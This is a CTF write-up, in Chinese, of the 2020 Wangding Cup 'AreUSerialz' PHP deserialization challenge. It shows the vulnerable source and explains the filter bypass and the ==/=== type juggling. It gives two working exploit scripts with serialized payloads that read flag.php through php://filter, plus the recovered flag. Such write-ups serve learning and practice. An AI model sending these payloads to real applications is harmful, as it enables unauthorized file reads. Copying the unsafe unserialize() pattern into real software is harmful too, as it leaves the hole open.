[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

思路：构造一个payload去执行read()函数，读取flag.php的内容。

从最后一段看到，我们传入的参数，会先通过is_valid这个函数，它对传入的参数中的每一个字符进行判断，需满足ascii值在32~125之间，然后对其进行反序列化，否则不会执行任何操作。

这里由于op,filename,content三个变量权限都是protected，而protected和private权限的变量在序列化的时会引入不可见字符\x00，这些字符对应的ascii码为0，经过is_valid函数以后会返回false，导致无法执行到反序列函数。

这里有两种方法进行绕过

1.将ascii码为0的用”\00"来代替，在php打序列化字符串中只要把其中的s改成大写打S，后面打字符串就可以用十六进制表示，来绕过is_valid中对空字节的检查

然后is_valid函数判断完之后，会将$str反序列化，这个时候会调用__destruct函数

__destruct：在一个对象销毁的时候自动调用

函数参考链接：https://segmentfault.com/a/1190000007250604

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

函数中会首先判断$op参数是不是为'2'，注意这里比较的不是数字2，因为这是” === “强比较类型，会首先判断变量类型。如果op === '2'，就将op赋值为'1'，然后content赋值为”“就是为空，然后调用process函数

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

函数中会先判断op == “1”，是就进入write函数，不是就会判断op == '2',这里注意是弱类型比较==。是的话就会进入read()函数，然后输出$res变量，否则输出"Bad Hacker!”，这里我们接着看write和read函数。

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

write()函数是判断filename和content变量是不是为空，然后判断content长度是不是>100，如果是就调用output函数输出"Too long!“，然后读取filename和conteng文件赋值给$res，判断是否为真，为真输出"Successful!“,为假输出"Failed!“，这些并不是什么有用的信息。

read()函数首先新建一个空的$res变量，然后判断filename是否有内容，将内容读取返回之后用output输出，这个时候们可以通过filename访问flag.php文件，这个变量是可控的。所以可以构造payload选择进入read()函数。

所以我们要令op=2,这里的2是整数int。当op=2时，op === "2"为false，op=="2"为true，接着进入read函数，里面会有$res = file_get_contents($this->filename)，这个时候可以用php伪协议来读取flag.php

filename=php://filter/read=convert.base64-encode/resource=flag.php

如果直接filename=flag.php，则内容会在注释中显示，具体操作会在第2种方法中演示结果

完整的EXP如下：

<?php
	class FileHandler {

		  protected $op=2;
		  protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
		  protected $content="";

	}
	$a=new FileHandler();
	$b=serialize($a);
	$b = str_replace(chr(0),'\00',$b);
	$b = str_replace('s:','S:',$b);
	echo $b;
?>

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";S:0:"";}

接着构造payload

解码得到flag{1ba34463-13f9-4816-8606-1275ecb69cb6}

2.PHP7.1以上版本对属性类型不敏感，public属性序列化不会出现不可见字符，可以用public属性来绕过。即我们最后在构造poc的时候，用public来修饰属性

<?php
	class FileHandler {

		public  $op = 2;
		public  $filename = "flag.php";
		public  $content = "1";        //因为destruce函数会将content改为空，所以content的值随意（但是要满足is_valid()函数的要求）
	}

	$a = new FileHandler();
	$b = serialize($a);
	echo $b;
?>

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

此时页面中注释直接输出flag